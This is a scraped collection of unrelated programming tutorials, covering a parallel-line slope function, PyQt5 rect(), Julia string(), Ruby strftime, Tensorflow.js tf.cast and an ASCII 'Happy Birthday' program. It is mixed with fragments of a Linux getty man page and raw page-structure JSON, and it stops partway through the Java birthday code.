This is thingol.orcan.dk (Linux i386 1.1.9) 18:29:30\n" }, { "code": null, "e": 12013, "s": 11828, "text": "/var/run/utmp, the system status file.\n/etc/issue, printed before the login prompt.\n/dev/console, problem reports (if syslog(3) is not used).\n/etc/inittab, init(8) configuration file.\n" }, { "code": null, "e": 12137, "s": 12013, "text": "\nThe text in the /etc/issue file (or other) and the login prompt\nare always output with 7-bit characters and space parity.\n" }, { "code": null, "e": 12264, "s": 12137, "text": "\nThe baud-rate detection feature (the -m option) requires that\nthe modem emits its status message after raising the DCD line.\n" }, { "code": null, "e": 12642, "s": 12264, "text": "W.Z. Venema <[email protected]>\nEindhoven University of Technology\nDepartment of Mathematics and Computer Science\nDen Dolech 2, P.O. Box 513, 5600 MB Eindhoven, The Netherlands\n\nPeter Orbaek <[email protected]>\nLinux port and more options. Still maintains the code.\n\nEric Rasmussen <[email protected]>\nAdded -f option to display custom login messages on different terminals.\n\n" }, { "code": null, "e": 12731, "s": 12642, "text": "\nPeter Orbaek <[email protected]>\nLinux port and more options. Still maintains the code.\n" }, { "code": null, "e": 12839, "s": 12731, "text": "\nEric Rasmussen <[email protected]>\nAdded -f option to display custom login messages on different terminals.\n" }, { "code": null, "e": 12871, "s": 12841, "text": "Sat Nov 25 22:51:05 MET 1989\n" }, { "code": null, "e": 12881, "s": 12871, "text": "96/07/20\n" }, { "code": null, "e": 12898, "s": 12881, "text": "\nAdvertisements\n" }, { "code": null, "e": 12933, "s": 12898, "text": "\n 129 Lectures \n 23 hours \n" }, { "code": null, "e": 12961, "s": 12933, "text": " Eduonix Learning Solutions" }, { "code": null, "e": 12995, "s": 12961, "text": "\n 5 Lectures \n 4.5 hours \n" }, { "code": null, "e": 13012, "s": 12995, "text": " Frahaan Hussain" }, { "code": null, "e": 13045, "s": 13012, "text": "\n 35 Lectures \n 2 hours \n" }, { "code": null, "e": 13056, "s": 13045, "text": " Pradeep D" }, { "code": null, "e": 13091, "s": 13056, "text": "\n 41 Lectures \n 2.5 hours \n" }, { "code": null, "e": 13107, "s": 13091, "text": " Musab Zayadneh" }, { "code": null, "e": 13140, "s": 13107, "text": "\n 46 Lectures \n 4 hours \n" }, { "code": null, "e": 13152, "s": 13140, "text": " GUHARAJANM" }, { "code": null, "e": 13184, "s": 13152, "text": "\n 6 Lectures \n 4 hours \n" }, { "code": null, "e": 13192, "s": 13184, "text": " Uplatz" }, { "code": null, "e": 13199, "s": 13192, "text": " Print" }, { "code": null, "e": 13210, "s": 13199, "text": " Add Notes" } ]
C Program for Find sum of odd factors of a number?
In this section, we will see how we can get the sum of all odd prime factors of a number in an efficient way. There is a number say n = 1092, we have to get all factor of this. The prime factors of 1092 are 2, 2, 3, 7, 13. The sum of all odd factors is 3+7+13 = 23. To solve this problem, we have to follow this rule − When the number is divisible by 2, ignore that factor, and divide the number by 2 repeatedly. When the number is divisible by 2, ignore that factor, and divide the number by 2 repeatedly. Now the number must be odd. Now starting from 3 to square root of the number, if the number is divisible by current value, then add the factor with the sum, and change the number by divide it with the current number then continue. Now the number must be odd. Now starting from 3 to square root of the number, if the number is divisible by current value, then add the factor with the sum, and change the number by divide it with the current number then continue. Finally, the remaining number will also be added if the remaining number is odd Finally, the remaining number will also be added if the remaining number is odd Let us see the algorithm to get a better idea. begin sum := 0 while n is divisible by 2, do n := n / 2 done for i := 3 to √n, increase i by 2, do while n is divisible by i, do sum := sum + i n := n / i done done if n > 2, then if n is odd, then sum := sum + n end if end if end #include<stdio.h> #include<math.h> int sumOddFactors(int n) { int i, sum = 0; while(n % 2 == 0) { n = n/2; //reduce n by dividing this by 2 } //as the number is not divisible by 2 anymore, all factors are odd for(i = 3; i <= sqrt(n); i=i+2){ //i will increase by 2, to get only odd numbers while(n % i == 0) { sum += i; n = n/i; } } if(n > 2) { if(n%2 == 1) sum += n; } return sum; } main() { int n; printf("Enter a number: "); scanf("%d", &n); printf("Sum of all odd prime factors: %d", sumOddFactors(n)); } Enter a number: 1092 Sum of all odd prime factors: 23
[ { "code": null, "e": 1381, "s": 1062, "text": "In this section, we will see how we can get the sum of all odd prime factors of a number in an efficient way. There is a number say n = 1092, we have to get all factor of this. The prime factors of 1092 are 2, 2, 3, 7, 13. The sum of all odd factors is 3+7+13 = 23. To solve this problem, we have to follow this rule −" }, { "code": null, "e": 1475, "s": 1381, "text": "When the number is divisible by 2, ignore that factor, and divide the number by 2\nrepeatedly." }, { "code": null, "e": 1569, "s": 1475, "text": "When the number is divisible by 2, ignore that factor, and divide the number by 2\nrepeatedly." }, { "code": null, "e": 1800, "s": 1569, "text": "Now the number must be odd. Now starting from 3 to square root of the number, if the number is divisible by current value, then add the factor with the sum, and change the number by divide it with the current number then continue." }, { "code": null, "e": 2031, "s": 1800, "text": "Now the number must be odd. Now starting from 3 to square root of the number, if the number is divisible by current value, then add the factor with the sum, and change the number by divide it with the current number then continue." }, { "code": null, "e": 2111, "s": 2031, "text": "Finally, the remaining number will also be added if the remaining number is odd" }, { "code": null, "e": 2191, "s": 2111, "text": "Finally, the remaining number will also be added if the remaining number is odd" }, { "code": null, "e": 2238, "s": 2191, "text": "Let us see the algorithm to get a better idea." }, { "code": null, "e": 2547, "s": 2238, "text": "begin\n sum := 0\n while n is divisible by 2, do\n n := n / 2\n done\n for i := 3 to √n, increase i by 2, do\n while n is divisible by i, do\n sum := sum + i\n n := n / i\n done\n done\n if n > 2, then\n if n is odd, then\n sum := sum + n\n end if\n end if\nend" }, { "code": null, "e": 3152, "s": 2547, "text": "#include<stdio.h>\n#include<math.h>\nint sumOddFactors(int n) {\n int i, sum = 0;\n while(n % 2 == 0) {\n n = n/2; //reduce n by dividing this by 2\n }\n //as the number is not divisible by 2 anymore, all factors are odd\n for(i = 3; i <= sqrt(n); i=i+2){ //i will increase by 2, to get\n only odd numbers\n while(n % i == 0) {\n sum += i;\n n = n/i;\n }\n }\n if(n > 2) {\n if(n%2 == 1)\n sum += n;\n }\n return sum;\n}\nmain() {\n int n;\n printf(\"Enter a number: \");\n scanf(\"%d\", &n);\n printf(\"Sum of all odd prime factors: %d\", sumOddFactors(n));\n}" }, { "code": null, "e": 3206, "s": 3152, "text": "Enter a number: 1092\nSum of all odd prime factors: 23" } ]
Slope of the line parallel to the line with the given slope
08 Jun, 2022 Given an integer m which is the slope of a line, the task is to find the slope of the line which is parallel to the given line.Examples: Input: m = 2 Output: 2Input: m = -3 Output: -3 Approach: Let P and Q be two parallel lines with equations y = m1x + b1, and y = m2x + b2 respectively.Here m1 and m2 are the slopes of the lines respectively. Now as the lines are parallel, they don’t have any intersecting point, and hence there will be no system of solutions for the lines. So, let us try to solve the equations, For y, m1x + b1 = m2x + b2 m1x – m2x = b2 – b1 x(m1 – m2) = b2 – b1 The only way there can be no solution for x is for m1 – m2 to be equal to zero. m1 – m2 = 0 This gives us m1 = m2 and the slopes are equal. Below is the implementation of the above approach: C++ Java Python3 C# PHP Javascript // C++ implementation of the approach#include <bits/stdc++.h>using namespace std; // Function to return the slope// of the line which is parallel to// the line with the given slopedouble getSlope(double m){ return m;} // Driver codeint main(){ double m = 2; cout << getSlope(m); return 0;} // Java implementation of the approachclass GfG{ // Function to return the slope// of the line which is parallel to// the line with the given slopestatic double getSlope(double m){ return m;} // Driver codepublic static void main(String[] args){ double m = 2; System.out.println(getSlope(m));}} // This code is contributed by Code_Mech. # Python3 implementation of the approach # Function to return the slope# of the line which is parallel to# the line with the given slopedef getSlope(m): return m; # Driver codem = 2;print(getSlope(m)); # This code is contributed# by Akanksha Rai // C# implementation of the approachclass GFG{ // Function to return the slope// of the line which is parallel to// the line with the given slopestatic double getSlope(double m){ return m;} // Driver codestatic void Main(){ double m = 2; System.Console.Write(getSlope(m));}} // This code is contributed by mits <?php// PHP implementation of the approach // Function to return the slope// of the line which is parallel to// the line with the given slopefunction getSlope($m){ return $m;} // Driver code$m = 2;echo getSlope($m); // This code is contributed by Ryuga?> <script> // javascript implementation of the approach // Function to return the slope// of the line which is parallel to// the line with the given slopefunction getSlope(m){ return m;} var m = 2;document.write(getSlope(m)); // This code contributed by Princi Singh </script> 2 Time Complexity: O(1)Auxiliary Space: O(1) ankthon Code_Mech Mithun Kumar Akanksha_Rai princi singh rishavmahato348 Geometric-Lines school-programming Geometric Mathematical Mathematical Geometric Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n08 Jun, 2022" }, { "code": null, "e": 167, "s": 28, "text": "Given an integer m which is the slope of a line, the task is to find the slope of the line which is parallel to the given line.Examples: " }, { "code": null, "e": 216, "s": 167, "text": "Input: m = 2 Output: 2Input: m = -3 Output: -3 " }, { "code": null, "e": 230, "s": 218, "text": "Approach: " }, { "code": null, "e": 553, "s": 230, "text": "Let P and Q be two parallel lines with equations y = m1x + b1, and y = m2x + b2 respectively.Here m1 and m2 are the slopes of the lines respectively. Now as the lines are parallel, they don’t have any intersecting point, and hence there will be no system of solutions for the lines. So, let us try to solve the equations, " }, { "code": null, "e": 763, "s": 553, "text": "For y, m1x + b1 = m2x + b2 m1x – m2x = b2 – b1 x(m1 – m2) = b2 – b1 The only way there can be no solution for x is for m1 – m2 to be equal to zero. m1 – m2 = 0 This gives us m1 = m2 and the slopes are equal. " }, { "code": null, "e": 816, "s": 763, "text": "Below is the implementation of the above approach: " }, { "code": null, "e": 820, "s": 816, "text": "C++" }, { "code": null, "e": 825, "s": 820, "text": "Java" }, { "code": null, "e": 833, "s": 825, "text": "Python3" }, { "code": null, "e": 836, "s": 833, "text": "C#" }, { "code": null, "e": 840, "s": 836, "text": "PHP" }, { "code": null, "e": 851, "s": 840, "text": "Javascript" }, { "code": "// C++ implementation of the approach#include <bits/stdc++.h>using namespace std; // Function to return the slope// of the line which is parallel to// the line with the given slopedouble getSlope(double m){ return m;} // Driver codeint main(){ double m = 2; cout << getSlope(m); return 0;}", "e": 1154, "s": 851, "text": null }, { "code": "// Java implementation of the approachclass GfG{ // Function to return the slope// of the line which is parallel to// the line with the given slopestatic double getSlope(double m){ return m;} // Driver codepublic static void main(String[] args){ double m = 2; System.out.println(getSlope(m));}} // This code is contributed by Code_Mech.", "e": 1504, "s": 1154, "text": null }, { "code": "# Python3 implementation of the approach # Function to return the slope# of the line which is parallel to# the line with the given slopedef getSlope(m): return m; # Driver codem = 2;print(getSlope(m)); # This code is contributed# by Akanksha Rai", "e": 1754, "s": 1504, "text": null }, { "code": "// C# implementation of the approachclass GFG{ // Function to return the slope// of the line which is parallel to// the line with the given slopestatic double getSlope(double m){ return m;} // Driver codestatic void Main(){ double m = 2; System.Console.Write(getSlope(m));}} // This code is contributed by mits", "e": 2078, "s": 1754, "text": null }, { "code": "<?php// PHP implementation of the approach // Function to return the slope// of the line which is parallel to// the line with the given slopefunction getSlope($m){ return $m;} // Driver code$m = 2;echo getSlope($m); // This code is contributed by Ryuga?>", "e": 2336, "s": 2078, "text": null }, { "code": "<script> // javascript implementation of the approach // Function to return the slope// of the line which is parallel to// the line with the given slopefunction getSlope(m){ return m;} var m = 2;document.write(getSlope(m)); // This code contributed by Princi Singh </script>", "e": 2618, "s": 2336, "text": null }, { "code": null, "e": 2620, "s": 2618, "text": "2" }, { "code": null, "e": 2665, "s": 2622, "text": "Time Complexity: O(1)Auxiliary Space: O(1)" }, { "code": null, "e": 2673, "s": 2665, "text": "ankthon" }, { "code": null, "e": 2683, "s": 2673, "text": "Code_Mech" }, { "code": null, "e": 2696, "s": 2683, "text": "Mithun Kumar" }, { "code": null, "e": 2709, "s": 2696, "text": "Akanksha_Rai" }, { "code": null, "e": 2722, "s": 2709, "text": "princi singh" }, { "code": null, "e": 2738, "s": 2722, "text": "rishavmahato348" }, { "code": null, "e": 2754, "s": 2738, "text": "Geometric-Lines" }, { "code": null, "e": 2773, "s": 2754, "text": "school-programming" }, { "code": null, "e": 2783, "s": 2773, "text": "Geometric" }, { "code": null, "e": 2796, "s": 2783, "text": "Mathematical" }, { "code": null, "e": 2809, "s": 2796, "text": "Mathematical" }, { "code": null, "e": 2819, "s": 2809, "text": "Geometric" } ]
PyQt5 – rect() method
26 Mar, 2020 rect() method belongs to QtCore.QRect class, this method is used to get the geometry of the window or any widget. It returns the object of type QRect which tells the property of the rectangle. Syntax : widget.rect() Argument : It takes no argument. Return : It returns the rectangle of the widget Code : # importing the required libraries from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * import sys class Window(QMainWindow): def __init__(self): super().__init__() # set the title self.setWindowTitle("Python") # setting geometry self.setGeometry(100, 100, 600, 400) # creating a label widget self.label_1 = QLabel("new border ", self) # moving position self.label_1.move(100, 100) # printing window geometry print(self.rect()) # printing label geometry print(self.label_1.rect()) # setting up the border self.label_1.setStyleSheet("border :3px solid black;") # show all the widgets self.update() self.show() # create pyqt5 appApp = QApplication(sys.argv) # create the instance of our Windowwindow = Window() # start the appsys.exit(App.exec()) Output : PyQt5.QtCore.QRect(0, 0, 600, 400) PyQt5.QtCore.QRect(0, 0, 100, 30) Python-gui Python-PyQt Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n26 Mar, 2020" }, { "code": null, "e": 221, "s": 28, "text": "rect() method belongs to QtCore.QRect class, this method is used to get the geometry of the window or any widget. It returns the object of type QRect which tells the property of the rectangle." }, { "code": null, "e": 244, "s": 221, "text": "Syntax : widget.rect()" }, { "code": null, "e": 277, "s": 244, "text": "Argument : It takes no argument." }, { "code": null, "e": 325, "s": 277, "text": "Return : It returns the rectangle of the widget" }, { "code": null, "e": 332, "s": 325, "text": "Code :" }, { "code": "# importing the required libraries from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * import sys class Window(QMainWindow): def __init__(self): super().__init__() # set the title self.setWindowTitle(\"Python\") # setting geometry self.setGeometry(100, 100, 600, 400) # creating a label widget self.label_1 = QLabel(\"new border \", self) # moving position self.label_1.move(100, 100) # printing window geometry print(self.rect()) # printing label geometry print(self.label_1.rect()) # setting up the border self.label_1.setStyleSheet(\"border :3px solid black;\") # show all the widgets self.update() self.show() # create pyqt5 appApp = QApplication(sys.argv) # create the instance of our Windowwindow = Window() # start the appsys.exit(App.exec())", "e": 1284, "s": 332, "text": null }, { "code": null, "e": 1293, "s": 1284, "text": "Output :" }, { "code": null, "e": 1363, "s": 1293, "text": "PyQt5.QtCore.QRect(0, 0, 600, 400)\nPyQt5.QtCore.QRect(0, 0, 100, 30)\n" }, { "code": null, "e": 1374, "s": 1363, "text": "Python-gui" }, { "code": null, "e": 1386, "s": 1374, "text": "Python-PyQt" }, { "code": null, "e": 1393, "s": 1386, "text": "Python" } ]
Convert an Integer to a String in Julia – string() Function
21 Nov, 2021 The string() is an inbuilt function in julia which is used to convert a specified integer to a string in the given base. Syntax: string(n::Integer; base::Integer, pad::Integer)Parameters: n::Integer: Specified integer. base::Integer: Specified base in which conversion are going to be performed. pad::Integer: It is number of characters present in the returned string. Returns: It returns the converted string in the given base. Example 1: Python # Julia program to illustrate# the use of String string() method # Conversion of integer to a string# in the given basePrintln(string(10, base = 5, pad = 5))Println(string(10, base = 5, pad = 3))Println(string(5, base = 10, pad = 2))Println(string(8, base = 9, pad = 4)) Output: : Example 2: Python # Julia program to illustrate# the use of String string() method # Creation of a single string using# all the argumentsPrintln(string("A", 5, true))Println(string("A", 10, false))Println(string("B", 6, true))Println(string("C", 12, false)) Output: anikakapoor simmytarika5 Julia Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Tuples in Julia Working with DataFrames in Julia Get array dimensions and size of a dimension in Julia - size() Method Cell Arrays in Julia Reshaping array dimensions in Julia | Array reshape() Method Taking Input from Users in Julia Random Numbers Ecosystem in Julia - The Pseudo Side Creating array with repeated elements in Julia - repeat() Method Matching of regular expression in string in Julia - match() and eachmatch() Methods Functions in Julia
[ { "code": null, "e": 28, "s": 0, "text": "\n21 Nov, 2021" }, { "code": null, "e": 150, "s": 28, "text": "The string() is an inbuilt function in julia which is used to convert a specified integer to a string in the given base. " }, { "code": null, "e": 219, "s": 150, "text": "Syntax: string(n::Integer; base::Integer, pad::Integer)Parameters: " }, { "code": null, "e": 250, "s": 219, "text": "n::Integer: Specified integer." }, { "code": null, "e": 327, "s": 250, "text": "base::Integer: Specified base in which conversion are going to be performed." }, { "code": null, "e": 400, "s": 327, "text": "pad::Integer: It is number of characters present in the returned string." }, { "code": null, "e": 462, "s": 400, "text": "Returns: It returns the converted string in the given base. " }, { "code": null, "e": 475, "s": 462, "text": "Example 1: " }, { "code": null, "e": 482, "s": 475, "text": "Python" }, { "code": "# Julia program to illustrate# the use of String string() method # Conversion of integer to a string# in the given basePrintln(string(10, base = 5, pad = 5))Println(string(10, base = 5, pad = 3))Println(string(5, base = 10, pad = 2))Println(string(8, base = 9, pad = 4))", "e": 754, "s": 482, "text": null }, { "code": null, "e": 764, "s": 754, "text": "Output: " }, { "code": null, "e": 780, "s": 764, "text": " : Example 2: " }, { "code": null, "e": 787, "s": 780, "text": "Python" }, { "code": "# Julia program to illustrate# the use of String string() method # Creation of a single string using# all the argumentsPrintln(string(\"A\", 5, true))Println(string(\"A\", 10, false))Println(string(\"B\", 6, true))Println(string(\"C\", 12, false))", "e": 1028, "s": 787, "text": null }, { "code": null, "e": 1038, "s": 1028, "text": "Output: " }, { "code": null, "e": 1052, "s": 1040, "text": "anikakapoor" }, { "code": null, "e": 1065, "s": 1052, "text": "simmytarika5" }, { "code": null, "e": 1071, "s": 1065, "text": "Julia" }, { "code": null, "e": 1169, "s": 1071, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 1185, "s": 1169, "text": "Tuples in Julia" }, { "code": null, "e": 1218, "s": 1185, "text": "Working with DataFrames in Julia" }, { "code": null, "e": 1288, "s": 1218, "text": "Get array dimensions and size of a dimension in Julia - size() Method" }, { "code": null, "e": 1309, "s": 1288, "text": "Cell Arrays in Julia" }, { "code": null, "e": 1370, "s": 1309, "text": "Reshaping array dimensions in Julia | Array reshape() Method" }, { "code": null, "e": 1403, "s": 1370, "text": "Taking Input from Users in Julia" }, { "code": null, "e": 1455, "s": 1403, "text": "Random Numbers Ecosystem in Julia - The Pseudo Side" }, { "code": null, "e": 1520, "s": 1455, "text": "Creating array with repeated elements in Julia - repeat() Method" }, { "code": null, "e": 1604, "s": 1520, "text": "Matching of regular expression in string in Julia - match() and eachmatch() Methods" } ]
Ruby | Time strftime() function
07 Jan, 2020 Time#strftime() is a Time class method which returns the time format according to the directives in the given format string. Syntax: Time.strftime() Parameter: Time values Return: time format according to the directives in the given format string. Example #1 : # Ruby code for Time.strftime() method # loading libraryrequire 'time' # declaring time a = Time.new(2019) # declaring timeb = Time.new(2019, 10) # declaring timec = Time.new(2019, 12, 31) # Time puts "Time a : #{a}\n\n"puts "Time b : #{b}\n\n"puts "Time c : #{c}\n\n\n\n" # strftime form puts "Time a strftime form : #{a.strftime("at %I:%M %p")}\n\n"puts "Time b strftime form : #{b.strftime("Is published on %m/%d/%Y")}\n\n"puts "Time c strftime form : #{c.strftime("at %I:%M %p")}\n\n" Output : Time a : 2019-01-01 00:00:00 +0000 Time b : 2019-10-01 00:00:00 +0000 Time c : 2019-12-31 00:00:00 +0000 Time a strftime form : at 12:00 AM Time b strftime form : Is published on 10/01/2019 Time c strftime form : at 12:00 AM Example #2 : # Ruby code for Time.strftime() method # loading libraryrequire 'time' # loading libraryrequire 'time' # declaring time a = Time.now # declaring timeb = Time.new(1000, 10, 10) # declaring timec = Time.new(2020, 12) # Time puts "Time a : #{a}\n\n"puts "Time b : #{b}\n\n"puts "Time c : #{c}\n\n\n\n" # strftime form puts "Time a strftime form : #{a.strftime("at %I:%M %p")}\n\n"puts "Time b strftime form : #{b.strftime("Is published on %m/%d/%Y")}\n\n"puts "Time c strftime form : #{c.strftime("at %I:%M %p")}\n\n" Output : Time a : 2019-08-27 12:04:41 +0000 Time b : 1000-10-10 00:00:00 +0000 Time c : 2020-12-01 00:00:00 +0000 Time a strftime form : at 12:04 PM Time b strftime form : Is published on 10/10/1000 Time c strftime form : at 12:00 AM Ruby Time-class Ruby-Methods Ruby Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n07 Jan, 2020" }, { "code": null, "e": 153, "s": 28, "text": "Time#strftime() is a Time class method which returns the time format according to the directives in the given format string." }, { "code": null, "e": 177, "s": 153, "text": "Syntax: Time.strftime()" }, { "code": null, "e": 200, "s": 177, "text": "Parameter: Time values" }, { "code": null, "e": 276, "s": 200, "text": "Return: time format according to the directives in the given format string." }, { "code": null, "e": 289, "s": 276, "text": "Example #1 :" }, { "code": "# Ruby code for Time.strftime() method # loading libraryrequire 'time' # declaring time a = Time.new(2019) # declaring timeb = Time.new(2019, 10) # declaring timec = Time.new(2019, 12, 31) # Time puts \"Time a : #{a}\\n\\n\"puts \"Time b : #{b}\\n\\n\"puts \"Time c : #{c}\\n\\n\\n\\n\" # strftime form puts \"Time a strftime form : #{a.strftime(\"at %I:%M %p\")}\\n\\n\"puts \"Time b strftime form : #{b.strftime(\"Is published on %m/%d/%Y\")}\\n\\n\"puts \"Time c strftime form : #{c.strftime(\"at %I:%M %p\")}\\n\\n\"", "e": 786, "s": 289, "text": null }, { "code": null, "e": 795, "s": 786, "text": "Output :" }, { "code": null, "e": 1028, "s": 795, "text": "Time a : 2019-01-01 00:00:00 +0000\n\nTime b : 2019-10-01 00:00:00 +0000\n\nTime c : 2019-12-31 00:00:00 +0000\n\n\n\nTime a strftime form : at 12:00 AM\n\nTime b strftime form : Is published on 10/01/2019\n\nTime c strftime form : at 12:00 AM\n" }, { "code": null, "e": 1041, "s": 1028, "text": "Example #2 :" }, { "code": "# Ruby code for Time.strftime() method # loading libraryrequire 'time' # loading libraryrequire 'time' # declaring time a = Time.now # declaring timeb = Time.new(1000, 10, 10) # declaring timec = Time.new(2020, 12) # Time puts \"Time a : #{a}\\n\\n\"puts \"Time b : #{b}\\n\\n\"puts \"Time c : #{c}\\n\\n\\n\\n\" # strftime form puts \"Time a strftime form : #{a.strftime(\"at %I:%M %p\")}\\n\\n\"puts \"Time b strftime form : #{b.strftime(\"Is published on %m/%d/%Y\")}\\n\\n\"puts \"Time c strftime form : #{c.strftime(\"at %I:%M %p\")}\\n\\n\"", "e": 1565, "s": 1041, "text": null }, { "code": null, "e": 1574, "s": 1565, "text": "Output :" }, { "code": null, "e": 1808, "s": 1574, "text": "Time a : 2019-08-27 12:04:41 +0000\n\nTime b : 1000-10-10 00:00:00 +0000\n\nTime c : 2020-12-01 00:00:00 +0000\n\n\n\nTime a strftime form : at 12:04 PM\n\nTime b strftime form : Is published on 10/10/1000\n\nTime c strftime form : at 12:00 AM\n\n" }, { "code": null, "e": 1824, "s": 1808, "text": "Ruby Time-class" }, { "code": null, "e": 1837, "s": 1824, "text": "Ruby-Methods" }, { "code": null, "e": 1842, "s": 1837, "text": "Ruby" } ]
Tensorflow.js tf.cast() Function
12 May, 2021 Tensorflow.js is an open-source library developed by Google for running machine learning models and deep learning neural networks in the browser or node environment. The tf.cast() function is used to cast a specified Tensor to a new data type. Syntax: tf.cast (x, dtype) Parameters: This function accepts two parameters which are illustrated below: x: The input tensor which is being casted. dtype: The data type in which input tensor is going to be casted. Return Value: It returns a casted tensor of new data type. Example 1: Javascript // Importing the tensorflow.js libraryimport * as tf from "@tensorflow/tfjs" // Initializing a tensor of some valuesconst x = tf.tensor1d([2.3, 1.7, 5, 0, 1, 0.5]); // Calling the .cast() function over the // above tensor to cast in "int32" data typetf.cast(x, 'int32').print(); Output: Tensor [2, 1, 5, 0, 1, 0] Example 2: Javascript // Importing the tensorflow.js libraryimport * as tf from "@tensorflow/tfjs" // Using a tensor of some values// as the parameter for .cast() function to// cast into bool data typetf.cast(tf.tensor1d([0, 1, -3]), 'bool').print(); Output: Tensor [false, true, true] Reference: https://js.tensorflow.org/api/latest/#cast Picked Tensorflow Tensorflow.js JavaScript Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n12 May, 2021" }, { "code": null, "e": 194, "s": 28, "text": "Tensorflow.js is an open-source library developed by Google for running machine learning models and deep learning neural networks in the browser or node environment." }, { "code": null, "e": 272, "s": 194, "text": "The tf.cast() function is used to cast a specified Tensor to a new data type." }, { "code": null, "e": 280, "s": 272, "text": "Syntax:" }, { "code": null, "e": 299, "s": 280, "text": "tf.cast (x, dtype)" }, { "code": null, "e": 377, "s": 299, "text": "Parameters: This function accepts two parameters which are illustrated below:" }, { "code": null, "e": 420, "s": 377, "text": "x: The input tensor which is being casted." }, { "code": null, "e": 486, "s": 420, "text": "dtype: The data type in which input tensor is going to be casted." }, { "code": null, "e": 545, "s": 486, "text": "Return Value: It returns a casted tensor of new data type." }, { "code": null, "e": 556, "s": 545, "text": "Example 1:" }, { "code": null, "e": 567, "s": 556, "text": "Javascript" }, { "code": "// Importing the tensorflow.js libraryimport * as tf from \"@tensorflow/tfjs\" // Initializing a tensor of some valuesconst x = tf.tensor1d([2.3, 1.7, 5, 0, 1, 0.5]); // Calling the .cast() function over the // above tensor to cast in \"int32\" data typetf.cast(x, 'int32').print();", "e": 848, "s": 567, "text": null }, { "code": null, "e": 856, "s": 848, "text": "Output:" }, { "code": null, "e": 886, "s": 856, "text": " Tensor\n [2, 1, 5, 0, 1, 0]" }, { "code": null, "e": 897, "s": 886, "text": "Example 2:" }, { "code": null, "e": 908, "s": 897, "text": "Javascript" }, { "code": "// Importing the tensorflow.js libraryimport * as tf from \"@tensorflow/tfjs\" // Using a tensor of some values// as the parameter for .cast() function to// cast into bool data typetf.cast(tf.tensor1d([0, 1, -3]), 'bool').print();", "e": 1138, "s": 908, "text": null }, { "code": null, "e": 1146, "s": 1138, "text": "Output:" }, { "code": null, "e": 1176, "s": 1146, "text": "Tensor\n [false, true, true]" }, { "code": null, "e": 1230, "s": 1176, "text": "Reference: https://js.tensorflow.org/api/latest/#cast" }, { "code": null, "e": 1237, "s": 1230, "text": "Picked" }, { "code": null, "e": 1248, "s": 1237, "text": "Tensorflow" }, { "code": null, "e": 1262, "s": 1248, "text": "Tensorflow.js" }, { "code": null, "e": 1273, "s": 1262, "text": "JavaScript" }, { "code": null, "e": 1290, "s": 1273, "text": "Web Technologies" } ]
Program to print Happy Birthday
04 Jan, 2019 After a lot of programming algorithms, it’s turn to wish a programmer friend. Send this code to your coder friend and give him/her a surprise on his/her birthdaY !. CPP Java Python3 C# // CPP program to print Happy Birthday#include<bits/stdc++.h>using namespace std; int main(){ // Print first row char ch = '@'; for(int i=1; i<=34; i++) { if (i==5||i==7||i==10||i==11||i==14||i==15|| i==16||i==18||i==19||i==20||i==22||i==24) cout << ch ; else cout << " " ; } // Print second row cout << endl; for(int i=1; i<=34; i++) { if(i==5||i==7||i==9||i==12||i==14||i==16 ||i==18||i==20||i==22||i==24) cout << ch ; else cout << " " ; } // Print third row cout << endl; for (int i=1; i<=34; i++) { if (i==5||i==6||i==7||i==9||i==10||i==11||i==12|| i==14||i==15||i==16||i==18||i==19||i==20|| i==22||i==23||i==24) cout << ch ; else cout << " " ; } // Print fourth row cout << endl; for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12||i==14||i==18||i==23) cout << ch ; else cout << " " ; } // Print fifth row cout << endl; for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12||i==14||i==18||i==23) cout << ch ; else cout << " " ; } // Happy is printed, now print // birthday row by row cout << endl; cout << endl; cout << endl; for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8||i==10|| i==11||i==14||i==15||i==16||i==18||i==20|| i==22||i==23||i==27||i==28||i==31||i==33) cout << ch ; else cout << " " ; } cout << endl; for(int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22||i==24|| i==26||i==29||i==31||i==33) cout << ch ; else cout << " " ; } cout << endl; for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==7||i==10||i==11|| i==15||i==18||i==19||i==20||i==22|| i==24||i==26||i==27||i==28||i==29||i==31 ||i==32||i==33) cout << ch ; else cout << " " ; } cout << endl; for (int i=1; i<=34; i++) { if (i==2||i==4||i==7||i==10||i==12|| i==15||i==18||i==20||i==22|| i==24||i==26||i==29||i==32) cout << ch ; else cout << " " ; } cout << endl; for (int i=1; i<=34; i++) { if (i==2||i==3||i==4||i==6||i==7||i==8|| i==10||i==12||i==15||i==18||i==20|| i==23||i==22||i==26||i==29||i==32) cout << ch ; else cout << " " ; } cout << endl;} // Java program to print// Happy Birthday class GFG{public static void main(String arg[]){ // Print first row char ch = '@'; for(int i=1; i<=34; i++) { if (i==5||i==7||i==10|| i==11||i==14||i==15|| i==16||i==18||i==19|| i==20||i==22||i==24) System.out.print(ch); else System.out.print(" "); } // Print second row System.out.println(); for(int i=1; i<=34; i++) { if(i==5||i==7||i==9||i==12||i==14||i==16 ||i==18||i==20||i==22||i==24) System.out.print(ch); else System.out.print(" "); } // Print third row System.out.println(); for (int i=1; i<=34; i++) { if (i==5||i==6||i==7||i==9|| i==10||i==11||i==12|| i==14||i==15||i==16|| i==18||i==19||i==20|| i==22||i==23||i==24) System.out.print(ch) ; else System.out.print(" "); } // Print fourth row System.out.println(); for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12|| i==14||i==18||i==23) System.out.print(ch); else System.out.print(" "); } // Print fifth row System.out.println(); for (int i=1; i<=34; i++) { if (i==5||i==7||i==9||i==12|| i==14||i==18||i==23) System.out.print(ch); else System.out.print(" "); } // Happy is printed, now print // birthday row by row 